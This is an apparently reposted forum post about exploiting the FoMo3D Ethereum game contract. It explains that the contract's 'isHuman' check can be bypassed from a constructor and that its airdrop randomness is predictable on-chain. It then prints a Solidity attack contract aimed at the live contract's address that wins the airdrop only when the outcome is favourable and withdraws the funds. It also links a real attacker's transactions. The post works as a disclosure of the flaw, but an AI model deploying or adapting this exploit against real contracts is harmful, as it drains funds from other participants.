in

Ethereum : How to PWN FoMo3D, a beginners guide

Ethereum update: How to PWN FoMo3D, a beginners guide


I found out about FoMo3D today and saw that it’s an pyramid game holding an insane $12M stash currently. Looking through the code, it’s multiple contracts totaling thousands of lines of code. Let’s be honest, $12M inside thousands of lines of Solidity… that’s asking for it.

One thing that immediately caught my eye whilst looking through their code was:

modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;

assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, “sorry humans only”);
_;
}

Ok, lemme rename that. I believe `isHumanOrContractConstructor` is a much better name for it. I guess you see where this is going. If the entire FoMo3D contract suite is based on the assumption that it can only be called from plain accounts (i.e. you can’t execute complex code and can’t do reentrancy)… they’re going to have a bad time with constructors.

We now have our attack vector, but we still need to find a place to use it. I’m sure there are a few places to attempt to break the code, but the second thing that caught my eye was:

/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));

if((seed – ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}

Oh boy! On chain random number generation… just what we needed! I.e. at this point, we can create transactions that within their constructor can calculate the result of this `airdrop()` method, and if it’s favorable, can call arbitrary methods on the FoMo3D contract (potentially multiple times).

Looking through the code to see where `airdrop` is being used, we can find that that any contribution larger than 0.1 Ether gets a chance to win 25% of some ingame stash. And that’s the last missing piece of the puzzle. We can create a contract that can 100% win (or not play in the first place). So, here’s a full repro (**I didn’t test it mind you, just wrote up the pseudocode, it may not be fully functional yet**).

pragma solidity ^0.4.24;

interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}

contract PwnFoMo3D {
constructor() public payable {
// Link up the fomo3d contract and ensure this whole thing is worth it
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
if (fomo3d.airDropPot_() < 0.4 ether) {
revert();
}
// Calculate whether this transaction would produce an airdrop. Take the
// “random” number generator from the FoMo3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));

uint256 tracker = fomo3d.airDropTracker_();
if((seed – ((seed / 1000) * 1000)) >= tracker) {
revert();
}
// Ok, seems we can win the airdrop, pwn the contract
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}

I didn’t get to try out my little exploit, because the attack loses 0.1 ether for every “airdrop” call, so the only way to make it worthwhile is to wait until the airdrop’s prize is > 0.1 ether. Given the 25% payout, that means airdrops need to total to > 0.4 ether. However, I saw a peculiarity that it never actually went above that value. So digging through the chain, I actually found someone who was skimming the airdoprs for 2 days now :))

[https://etherscan.io/txs?a=0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3](https://etherscan.io/txs?a=0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3)

[https://etherscan.io/tx/0x86c3ff158b7e372e3e2aa964b2c3f0ca25c59f7bcc95a13fd72b139c0ab6f7ad](https://etherscan.io/tx/0x86c3ff158b7e372e3e2aa964b2c3f0ca25c59f7bcc95a13fd72b139c0ab6f7ad)

Their attack code is not really available, but looking through a successful transaction you can see that they have a more elaborate pwner code: they try to deploy a new contract, but if the address is not a winner (per the evaluation of `airdrop()`, they don’t revert, rather keep creating nested contracts until one succeeds). GG!

This attack only PWNs 1% of the FoMo3D contract suite as only that’s the amount sent into airdrops. But to paraphrase the devs from their contracts: **”lolz”**.

And the team’s reaction: yeah, we knew our 12M contract can be broken, no biggie.

[https://twitter.com/PoWH3D/status/1021380251258114049](https://twitter.com/PoWH3D/status/1021380251258114049)

https://i.redd.it/v4xlb6ga8pb11.png




View the link

About Ethereum



Ethereum is a decentralized platform that runs smart contracts: applications that run exactly as programmed without any possibility of downtime, censorship, fraud or third-party interference.

Author: karalabe

Score: 641

Don’t forget to share the post if you love it !

Ripple : Add to your calendar Ripple (XRP) event: Swell 2018 – September 30, 2018 12:00 AM – October 2, 2018 11:59 PM

Bitcoin : Concerns about exchanges / crypto / blockchain fuckery .. Bit of a rant..